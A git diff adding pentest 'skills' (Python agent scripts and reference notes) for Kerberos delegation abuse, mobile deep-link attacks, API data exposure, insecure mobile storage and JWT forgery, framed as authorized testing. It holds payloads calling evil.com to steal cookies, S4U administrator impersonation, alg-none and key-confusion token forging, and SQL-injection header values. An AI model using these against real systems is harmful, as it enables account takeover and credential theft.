a/skills/exploiting-constrained-delegation-abuse/scripts/agent.py b/skills/exploiting-constrained-delegation-abuse/scripts/agent.py new file mode 100644 index 00000000..4d5037f7 --- /dev/null +++ b/skills/exploiting-constrained-delegation-abuse/scripts/agent.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +"""Agent for detecting and testing Kerberos constrained delegation abuse in AD.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime, timezone + + +def find_constrained_delegation(): + """Find accounts with constrained delegation configured.""" + findings = [] + if sys.platform != "win32": + return findings + ps_cmd = ( + "Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne '$null'} " + "-Properties msDS-AllowedToDelegateTo,ObjectClass,SamAccountName," + "TrustedToAuthForDelegation,ServicePrincipalName " + "| Select-Object SamAccountName,ObjectClass," + "@{N='DelegateTo';E={$_.'msDS-AllowedToDelegateTo'}}," + "TrustedToAuthForDelegation," + "@{N='SPNs';E={$_.ServicePrincipalName}} " + "| ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def find_rbcd_targets(): + """Find computers writable for Resource-Based Constrained Delegation.""" + findings = [] + if sys.platform != "win32": + return findings + ps_cmd = ( + "Get-ADComputer -Filter * -Properties " + "msDS-AllowedToActOnBehalfOfOtherIdentity,PrincipalsAllowedToDelegateToAccount " + "| Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null} " + "| Select-Object Name,DNSHostName," + "@{N='AllowedToAct';E={$_.PrincipalsAllowedToDelegateToAccount}} " + "| ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def check_s4u_abuse(account_name, domain, dc_ip, password=None, hash_val=None): + """Test S4U2Self/S4U2Proxy delegation abuse via Impacket.""" + cmd = ["getST.py", f"{domain}/{account_name}"] + if password: + cmd.extend(["-password", password]) + elif hash_val: + cmd.extend(["-hashes", f":{hash_val}"]) + cmd.extend(["-spn", "cifs/target.domain.local", + "-impersonate", "administrator", "-dc-ip", dc_ip]) + try: + result = subprocess.check_output(cmd, text=True, errors="replace", timeout=30) + return {"status": "success", "output": result[:500]} + except (subprocess.SubprocessError, FileNotFoundError): + return {"status": "failed", "note": "getST.py not available"} + + +def main(): + parser = argparse.ArgumentParser( + description="Detect and test constrained delegation abuse (authorized testing only)" + ) + parser.add_argument("--enumerate", action="store_true", help="Find delegation configs") + parser.add_argument("--rbcd", action="store_true", help="Find RBCD targets") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Constrained Delegation Abuse Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.enumerate: + cd = find_constrained_delegation() + report["findings"]["constrained_delegation"] = cd + print(f"[*] Accounts with constrained delegation: {len(cd)}") + for acct in cd: + s2u = "S4U2Self+Proxy" if acct.get("TrustedToAuthForDelegation") else "S4U2Proxy only" + print(f" {acct.get('SamAccountName', '?')} -> {acct.get('DelegateTo', [])} ({s2u})") + + if args.rbcd: + rbcd = find_rbcd_targets() + report["findings"]["rbcd_targets"] = rbcd + print(f"[*] RBCD configured computers: {len(rbcd)}") + + total = sum(len(v) if isinstance(v, list) else 0 for v in report["findings"].values()) + report["risk_level"] = "HIGH" if total > 0 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-deeplink-vulnerabilities/LICENSE b/skills/exploiting-deeplink-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-deeplink-vulnerabilities/LICENSE +++ b/skills/exploiting-deeplink-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-deeplink-vulnerabilities/references/api-reference.md b/skills/exploiting-deeplink-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..009882db --- /dev/null +++ b/skills/exploiting-deeplink-vulnerabilities/references/api-reference.md @@ -0,0 +1,106 @@ +# API Reference: Deep Link Vulnerability Testing + +## Android Deep Links + +### AndroidManifest.xml Configuration +```xml + + + + + + + + +``` + +### ADB Testing +```bash +adb shell am start -W -a android.intent.action.VIEW \ + -d "myapp://open/path?param=value" com.target.app +``` + +### Intent URI Scheme +``` +intent://path#Intent;scheme=myapp;package=com.target.app;end +``` + +## iOS URL Schemes + +### Info.plist Configuration +```xml +CFBundleURLTypes + + + CFBundleURLSchemes + + myapp + + + +``` + +### Universal Links (apple-app-site-association) +```json +{ + "applinks": { + "apps": [], + "details": [{ + "appID": "TEAM_ID.com.example.app", + "paths": ["/open/*", "/product/*"] + }] + } +} +``` + +## Vulnerability Types + +| Type | Risk | Description | +|------|------|-------------| +| Open Redirect | HIGH | Deep link redirects to attacker URL | +| JavaScript Injection | CRITICAL | Code execution in WebView | +| Parameter Theft | HIGH | Token/credential exfiltration | +| Intent Redirect | HIGH | Android intent hijacking | +| Path Traversal | MEDIUM | Access unintended app sections | + +## Attack Payloads + +### Open Redirect +``` +myapp://open?redirect=https://evil.com +myapp://open?url=javascript:alert(document.cookie) +``` + +### WebView JavaScript +``` +myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie) +``` + +### Parameter Injection +``` +myapp://auth?token=stolen&callback=https://evil.com +``` + +## Frida — Runtime Deep Link Testing + +### Hook URL Handler (Android) +```javascript +Java.perform(function() { + var Activity = Java.use("android.app.Activity"); + Activity.onNewIntent.implementation = function(intent) { + console.log("Deep link: " + intent.getData().toString()); + this.onNewIntent(intent); + }; +}); +``` + +### Hook URL Handler (iOS) +```javascript +var handler = ObjC.classes.AppDelegate["- application:openURL:options:"]; +Interceptor.attach(handler.implementation, { + onEnter: function(args) { + var url = ObjC.Object(args[3]); + console.log("URL scheme: " + url.toString()); + } +}); +``` diff --git a/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py b/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..d0a902f1 --- /dev/null +++ b/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +"""Agent for testing deep link / custom URL scheme vulnerabilities in mobile apps.""" + +import argparse +import json +import os +import re +import subprocess +import sys +from datetime import datetime, timezone + + +ANDROID_SCHEME_PATTERN = re.compile( + r']*>.*?', + re.DOTALL +) +ANDROID_HOST_PATTERN = re.compile(r'android:host="([^"]+)"') + +IOS_SCHEME_PATTERN = re.compile(r'(\w+)\s*\s*CFBundleURLName') +IOS_UNIVERSAL_PATTERN = re.compile(r'"applinks:\s*([\w.-]+)"') + + +def analyze_android_manifest(manifest_path): + """Parse AndroidManifest.xml for deep link configurations.""" + findings = [] + try: + with open(manifest_path, "r", errors="replace") as f: + content = f.read() + except FileNotFoundError: + return findings + + for match in ANDROID_SCHEME_PATTERN.finditer(content): + block = match.group(0) + scheme = match.group(1) + hosts = ANDROID_HOST_PATTERN.findall(block) + exported = "android:exported=\"true\"" in block or "android:exported" not in block + findings.append({ + "scheme": scheme, + "hosts": hosts, + "exported": exported, + "block": block[:200], + "risk": "HIGH" if exported and scheme not in ("https", "http") else "MEDIUM", + }) + return findings + + +def analyze_ios_plist(plist_path): + """Parse iOS Info.plist for URL scheme and universal link configurations.""" + findings = [] + try: + with open(plist_path, "r", errors="replace") as f: + content = f.read() + except FileNotFoundError: + return findings + + for match in IOS_SCHEME_PATTERN.finditer(content): + findings.append({ + "type": "custom_url_scheme", + "scheme": match.group(1), + "risk": "HIGH", + "note": "Custom URL schemes lack origin verification", + }) + + for match in IOS_UNIVERSAL_PATTERN.finditer(content): + findings.append({ + "type": "universal_link", + "domain": match.group(1), + "risk": "LOW", + "note": "Universal links verify domain ownership", + }) + return findings + + +def test_deep_link_injection(scheme, host, path, payload): + """Construct and test a deep link injection payload.""" + test_url = f"{scheme}://{host}{path}{payload}" + return { + "test_url": test_url, + "payload": payload, + "vectors": [ + "Open redirect via deep link", + "JavaScript execution in WebView", + "Parameter injection", + "Intent redirection (Android)", + ], + } + + +def check_adb_deep_link(package, uri): + """Test Android deep link via ADB.""" + cmd = ["adb", "shell", "am", "start", "-W", + "-a", "android.intent.action.VIEW", + "-d", uri, package] + try: + result = subprocess.check_output(cmd, text=True, errors="replace", timeout=15) + return {"uri": uri, "status": "launched", "output": result[:300]} + except (subprocess.SubprocessError, FileNotFoundError): + return {"uri": uri, "status": "failed"} + + +def main(): + parser = argparse.ArgumentParser( + description="Test deep link / URL scheme vulnerabilities (authorized testing only)" + ) + parser.add_argument("--android-manifest", help="Path to AndroidManifest.xml") + parser.add_argument("--ios-plist", help="Path to Info.plist") + parser.add_argument("--test-scheme", help="URL scheme to test") + parser.add_argument("--test-host", help="Host for deep link test") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Deep Link Vulnerability Testing Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.android_manifest: + android = analyze_android_manifest(args.android_manifest) + report["findings"].extend(android) + print(f"[*] Android deep links found: {len(android)}") + + if args.ios_plist: + ios = analyze_ios_plist(args.ios_plist) + report["findings"].extend(ios) + print(f"[*] iOS URL schemes found: {len(ios)}") + + if args.test_scheme and args.test_host: + payloads = [ + "?redirect=https://evil.com", + "#javascript:alert(1)", + "?token=stolen&callback=https://evil.com", + "/../../sensitive-path", + ] + for p in payloads: + result = test_deep_link_injection(args.test_scheme, args.test_host, "/", p) + report["findings"].append(result) + + report["risk_level"] = "HIGH" if report["findings"] else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-excessive-data-exposure-in-api/LICENSE b/skills/exploiting-excessive-data-exposure-in-api/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-excessive-data-exposure-in-api/LICENSE +++ b/skills/exploiting-excessive-data-exposure-in-api/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md b/skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md new file mode 100644 index 00000000..e97a6ecd --- /dev/null +++ b/skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md @@ -0,0 +1,81 @@ +# API Reference: Excessive Data Exposure (OWASP API3) + +## OWASP API3:2023 — Broken Object Property Level Authorization + +### Description +API returns more data than the client needs. Sensitive fields like passwords, +tokens, internal IDs, or PII are included in responses without filtering. + +## Sensitive Field Categories + +| Category | Examples | +|----------|----------| +| Credentials | password, secret, token, api_key | +| PII | ssn, date_of_birth, credit_card | +| Internal | internal_id, debug_info, stack_trace | +| Financial | salary, bank_account, routing_number | + +## PII Detection Regex Patterns + +| Type | Pattern | +|------|---------| +| Email | `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` | +| SSN | `\d{3}-\d{2}-\d{4}` | +| Credit Card | `\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}` | +| Phone | `\+?1?\d{10,15}` | +| IP Address | `\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}` | + +## Testing Methodology + +### Step 1: Compare Response to Documentation +```bash +# Get actual response +curl -s https://api.target.com/users/me | jq 'keys' + +# Compare with OpenAPI spec expected fields +``` + +### Step 2: Check for Sensitive Fields +```python +sensitive = ["password", "token", "ssn", "secret"] +for field in response_json: + if any(s in field.lower() for s in sensitive): + print(f"EXPOSED: {field}") +``` + +### Step 3: Test Different Roles +```bash +# As regular user, check if admin fields returned +curl -H "Authorization: Bearer $USER_TOKEN" \ + https://api.target.com/users/123 | jq '.role, .permissions' +``` + +## Python requests + +### Fetch and Analyze +```python +resp = requests.get(url, headers={"Authorization": f"Bearer {token}"}) +data = resp.json() +``` + +## Remediation Approaches + +| Approach | Description | +|----------|-------------| +| Response filtering | Only return fields client needs | +| GraphQL field selection | Let client specify fields | +| View models / DTOs | Map internal model to public API | +| Role-based serialization | Different fields per role | + +## Tools + +### Postman Collection Runner +Automate response schema validation across endpoints. + +### OWASP ZAP — Passive Scanner +Detects sensitive data in responses automatically. + +### Swagger/OpenAPI Diff +```bash +openapi-diff expected-spec.yaml actual-responses.yaml +``` diff --git a/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py b/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py new file mode 100644 index 00000000..7b7c366a --- /dev/null +++ b/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Agent for detecting excessive data exposure (OWASP API3) in API responses.""" + +import argparse +import json +import re +import sys +from datetime import datetime, timezone + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +SENSITIVE_FIELDS = [ + "password", "passwd", "secret", "token", "api_key", "apikey", + "ssn", "social_security", "credit_card", "card_number", "cvv", + "private_key", "secret_key", "access_key", "session_id", + "internal_id", "salary", "bank_account", "routing_number", + "date_of_birth", "dob", "national_id", "passport", +] + +PII_PATTERNS = { + "email": r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', + "phone": r'\+?1?\d{10,15}', + "ssn": r'\d{3}-\d{2}-\d{4}', + "credit_card": r'\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}', + "ip_address": r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', +} + + +def analyze_response(response_json, endpoint=""): + """Analyze API response for excessive data exposure.""" + findings = [] + + def check_fields(obj, path=""): + if isinstance(obj, dict): + for key, value in obj.items(): + current_path = f"{path}.{key}" if path else key + key_lower = key.lower() + for sf in SENSITIVE_FIELDS: + if sf in key_lower: + findings.append({ + "field": current_path, + "matched_pattern": sf, + "value_type": type(value).__name__, + "value_preview": str(value)[:20] + "..." if len(str(value)) > 20 else str(value), + "severity": "HIGH", + }) + break + check_fields(value, current_path) + elif isinstance(obj, list): + for i, item in enumerate(obj[:5]): + check_fields(item, f"{path}[{i}]") + + check_fields(response_json) + + response_str = json.dumps(response_json) + for pattern_name, pattern in PII_PATTERNS.items(): + matches = re.findall(pattern, response_str) + if matches: + findings.append({ + "type": "pii_exposure", + "pattern": pattern_name, + "match_count": len(matches), + "samples": matches[:3], + "severity": "HIGH", + }) + return findings + + +def test_endpoint(url, headers=None): + """Fetch API endpoint and analyze for data exposure.""" + if not HAS_REQUESTS: + return {"error": "requests library not available"} + try: + resp = requests.get(url, headers=headers, timeout=15, verify=False) + data = resp.json() + field_count = count_fields(data) + findings = analyze_response(data, url) + return { + "endpoint": url, + "status_code": resp.status_code, + "total_fields": field_count, + "sensitive_fields": len(findings), + "findings": findings, + } + except (requests.RequestException, json.JSONDecodeError) as e: + return {"endpoint": url, "error": str(e)[:200]} + + +def count_fields(obj, count=0): + """Count total fields in a JSON response.""" + if isinstance(obj, dict): + count += len(obj) + for v in obj.values(): + count = count_fields(v, count) + elif isinstance(obj, list): + for item in obj[:10]: + count = count_fields(item, count) + return count + + +def compare_with_spec(response_json, spec_fields): + """Compare response fields against expected OpenAPI spec fields.""" + actual = set() + + def extract_keys(obj, prefix=""): + if isinstance(obj, dict): + for k in obj: + path = f"{prefix}.{k}" if prefix else k + actual.add(path) + extract_keys(obj[k], path) + + extract_keys(response_json) + extra = actual - set(spec_fields) + return list(extra) + + +def main(): + parser = argparse.ArgumentParser( + description="Detect excessive data exposure in API responses" + ) + parser.add_argument("--url", help="API endpoint to test") + parser.add_argument("--json-file", help="JSON response file to analyze") + parser.add_argument("--token", help="Bearer token for auth") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Excessive Data Exposure Detection Agent (OWASP API3)") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + if args.url: + headers = {"Authorization": f"Bearer {args.token}"} if args.token else {} + result = test_endpoint(args.url, headers) + report["findings"].append(result) + print(f"[*] {args.url}: {result.get('sensitive_fields', 0)} sensitive fields found") + + if args.json_file: + with open(args.json_file, "r") as f: + data = json.load(f) + findings = analyze_response(data, args.json_file) + report["findings"].extend(findings) + print(f"[*] File analysis: {len(findings)} sensitive fields found") + + report["risk_level"] = "HIGH" if any( + f.get("sensitive_fields", 0) > 0 or f.get("severity") == "HIGH" for f in report["findings"] + ) else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-http-request-smuggling/LICENSE b/skills/exploiting-http-request-smuggling/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-http-request-smuggling/LICENSE +++ b/skills/exploiting-http-request-smuggling/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-idor-vulnerabilities/LICENSE b/skills/exploiting-idor-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-idor-vulnerabilities/LICENSE +++ b/skills/exploiting-idor-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-insecure-data-storage-in-mobile/LICENSE b/skills/exploiting-insecure-data-storage-in-mobile/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-insecure-data-storage-in-mobile/LICENSE +++ b/skills/exploiting-insecure-data-storage-in-mobile/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md b/skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md new file mode 100644 index 00000000..141d1dd7 --- /dev/null +++ b/skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md @@ -0,0 +1,106 @@ +# API Reference: Insecure Mobile Data Storage Detection + +## OWASP Mobile Top 10 — M9: Insecure Data Storage + +### Risk Areas +| Storage Type | Platform | Risk | +|-------------|----------|------| +| SharedPreferences | Android | HIGH (plaintext XML) | +| SQLite databases | Both | CRITICAL if unencrypted | +| Keychain (improper) | iOS | MEDIUM | +| External storage | Android | HIGH (world-readable) | +| Plist files | iOS | HIGH (plaintext) | + +## Android Data Locations + +### App Private Storage +``` +/data/data//shared_prefs/ # SharedPreferences XML +/data/data//databases/ # SQLite databases +/data/data//files/ # App files +/data/data//cache/ # Cache data +``` + +### External Storage (World-Readable) +``` +/sdcard/Android/data// +``` + +## ADB Commands + +### Pull App Data +```bash +adb pull /data/data/com.target.app/ ./extracted/ +``` + +### List SharedPreferences +```bash +adb shell run-as com.target.app ls /data/data/com.target.app/shared_prefs/ +``` + +### Read SharedPreferences +```bash +adb shell run-as com.target.app cat shared_prefs/credentials.xml +``` + +## SQLite Analysis + +### Python sqlite3 +```python +import sqlite3 +conn = sqlite3.connect("app.db") +cursor = conn.cursor() +cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") +for table in cursor.fetchall(): + cursor.execute(f"PRAGMA table_info({table[0]})") + print(cursor.fetchall()) +``` + +## iOS Data Locations + +### App Sandbox +``` +/var/mobile/Containers/Data/Application// + Documents/ + Library/Preferences/ # NSUserDefaults (plist) + Library/Caches/ + tmp/ +``` + +### Keychain +```bash +# Using keychain-dumper +./keychain-dumper -a +``` + +## Frida Scripts for Data Storage Audit + +### Hook SharedPreferences (Android) +```javascript +Java.perform(function() { + var sp = Java.use("android.app.SharedPreferencesImpl$EditorImpl"); + sp.putString.implementation = function(key, value) { + console.log("SharedPrefs PUT: " + key + " = " + value); + return this.putString(key, value); + }; +}); +``` + +### Hook NSUserDefaults (iOS) +```javascript +var NSUserDefaults = ObjC.classes.NSUserDefaults; +var orig = NSUserDefaults["- setObject:forKey:"]; +Interceptor.attach(orig.implementation, { + onEnter: function(args) { + console.log("NSUserDefaults: " + ObjC.Object(args[3]) + " = " + ObjC.Object(args[2])); + } +}); +``` + +## Secure Storage Alternatives + +| Platform | Secure Method | +|----------|---------------| +| Android | EncryptedSharedPreferences, Android Keystore | +| iOS | Keychain Services with kSecAttrAccessible | +| Both | SQLCipher for encrypted databases | diff --git a/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py b/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py new file mode 100644 index 00000000..9a45bb83 --- /dev/null +++ b/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for detecting insecure data storage in mobile applications.""" + +import argparse +import json +import os +import re +import subprocess +import sys +import sqlite3 +from datetime import datetime, timezone + + +ANDROID_SENSITIVE_PATHS = [ + "/data/data/{package}/shared_prefs/", + "/data/data/{package}/databases/", + "/data/data/{package}/files/", + "/data/data/{package}/cache/", + "/sdcard/Android/data/{package}/", +] + +SENSITIVE_PATTERNS = { + "api_key": re.compile(r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']([^"\']+)', re.I), + "token": re.compile(r'["\']?(?:access|auth|bearer)[_-]?token["\']?\s*[:=]\s*["\']([^"\']+)', re.I), + "password": re.compile(r'["\']?password["\']?\s*[:=]\s*["\']([^"\']+)', re.I), + "private_key": re.compile(r'-----BEGIN (?:RSA )?PRIVATE KEY-----'), + "base64_cred": re.compile(r'["\']?(?:auth|credential)["\']?\s*[:=]\s*["\']([A-Za-z0-9+/=]{20,})', re.I), +} + + +def scan_shared_prefs(prefs_dir): + """Scan Android SharedPreferences XML files for sensitive data.""" + findings = [] + if not os.path.isdir(prefs_dir): + return findings + for fname in os.listdir(prefs_dir): + if not fname.endswith(".xml"): + continue + fpath = os.path.join(prefs_dir, fname) + try: + with open(fpath, "r", errors="replace") as f: + content = f.read() + for pattern_name, pattern in SENSITIVE_PATTERNS.items(): + matches = pattern.findall(content) + if matches: + findings.append({ + "file": fpath, + "type": "shared_prefs", + "pattern": pattern_name, + "match_count": len(matches), + "severity": "HIGH", + }) + except PermissionError: + pass + return findings + + +def scan_sqlite_databases(db_dir): + """Scan SQLite databases for unencrypted sensitive data.""" + findings = [] + if not os.path.isdir(db_dir): + return findings + for fname in os.listdir(db_dir): + if not fname.endswith((".db", ".sqlite", ".sqlite3")): + continue + fpath = os.path.join(db_dir, fname) + try: + conn = sqlite3.connect(fpath) + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") + tables = cursor.fetchall() + for (table_name,) in tables: + cursor.execute(f"PRAGMA table_info({table_name})") + columns = cursor.fetchall() + sensitive_cols = [] + for col in columns: + col_name = col[1].lower() + for sf in ["password", "token", "secret", "key", "ssn", "credit"]: + if sf in col_name: + sensitive_cols.append(col[1]) + if sensitive_cols: + cursor.execute(f"SELECT COUNT(*) FROM {table_name}") + row_count = cursor.fetchone()[0] + findings.append({ + "file": fpath, + "table": table_name, + "sensitive_columns": sensitive_cols, + "row_count": row_count, + "encrypted": False, + "severity": "CRITICAL", + }) + conn.close() + except (sqlite3.Error, PermissionError): + pass + return findings + + +def scan_file_storage(files_dir): + """Scan app file storage for sensitive data.""" + findings = [] + if not os.path.isdir(files_dir): + return findings + for root, _, files in os.walk(files_dir): + for fname in files: + fpath = os.path.join(root, fname) + try: + with open(fpath, "r", errors="replace") as f: + content = f.read(4096) + for pattern_name, pattern in SENSITIVE_PATTERNS.items(): + if pattern.search(content): + findings.append({ + "file": fpath, + "pattern": pattern_name, + "severity": "HIGH", + }) + except (PermissionError, UnicodeDecodeError): + pass + return findings + + +def adb_pull_app_data(package_name, output_dir): + """Pull application data via ADB for analysis.""" + os.makedirs(output_dir, exist_ok=True) + paths = [p.format(package=package_name) for p in ANDROID_SENSITIVE_PATHS] + results = [] + for path in paths: + try: + subprocess.check_output( + ["adb", "pull", path, output_dir], + text=True, errors="replace", timeout=15 + ) + results.append({"path": path, "status": "pulled"}) + except subprocess.SubprocessError: + results.append({"path": path, "status": "failed"}) + return results + + +def main(): + parser = argparse.ArgumentParser( + description="Detect insecure data storage in mobile apps (authorized testing only)" + ) + parser.add_argument("--scan-dir", help="Directory containing app data to scan") + parser.add_argument("--package", help="Android package name for ADB pull") + parser.add_argument("--pull-dir", default="/tmp/mobile_audit") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Insecure Mobile Data Storage Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + + scan_dir = args.scan_dir or args.pull_dir + if args.package: + adb_pull_app_data(args.package, args.pull_dir) + + if os.path.isdir(scan_dir): + report["findings"].extend(scan_shared_prefs(scan_dir)) + report["findings"].extend(scan_sqlite_databases(scan_dir)) + report["findings"].extend(scan_file_storage(scan_dir)) + + critical = sum(1 for f in report["findings"] if f.get("severity") == "CRITICAL") + report["risk_level"] = "CRITICAL" if critical else "HIGH" if report["findings"] else "LOW" + print(f"[*] Findings: {len(report['findings'])} (CRITICAL: {critical})") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-insecure-deserialization/LICENSE b/skills/exploiting-insecure-deserialization/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-insecure-deserialization/LICENSE +++ b/skills/exploiting-insecure-deserialization/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-ipv6-vulnerabilities/LICENSE b/skills/exploiting-ipv6-vulnerabilities/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-ipv6-vulnerabilities/LICENSE +++ b/skills/exploiting-ipv6-vulnerabilities/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE b/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +++ b/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md b/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md new file mode 100644 index 00000000..90da70bd --- /dev/null +++ b/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md @@ -0,0 +1,99 @@ +# API Reference: JWT Algorithm Confusion Attack + +## JWT Structure + +### Three parts (dot-separated, Base64URL-encoded) +``` +
.. +``` + +### Header +```json +{"alg": "RS256", "typ": "JWT"} +``` + +### Common Algorithms +| Algorithm | Type | Key | +|-----------|------|-----| +| HS256 | HMAC | Symmetric shared secret | +| RS256 | RSA | Asymmetric key pair | +| ES256 | ECDSA | Asymmetric key pair | +| none | None | No signature | + +## Algorithm Confusion Attack + +### Attack Flow +1. Server uses RS256 (asymmetric) with public/private key pair +2. Attacker obtains server's RSA public key +3. Attacker changes `alg` header from RS256 to HS256 +4. Attacker signs token with the RSA public key as HMAC secret +5. Server verifies with public key using HMAC (accepts token) + +### Forging with Public Key +```python +import hmac, hashlib, base64, json + +header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"})) +payload = base64url(json.dumps({"sub": "admin"})) +signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256) +token = f"{header}.{payload}.{base64url(signature)}" +``` + +## None Algorithm Attack + +### Forged Token +```python +header = base64url('{"alg":"none","typ":"JWT"}') +payload = base64url('{"sub":"admin","admin":true}') +token = f"{header}.{payload}." +``` + +## JWT Header Injection Attacks + +### JKU (JSON Web Key Set URL) +```json +{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"} +``` + +### X5U (X.509 URL) +```json +{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"} +``` + +### KID (Key ID) — SQL Injection +```json +{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"} +``` + +### KID — Path Traversal +```json +{"alg": 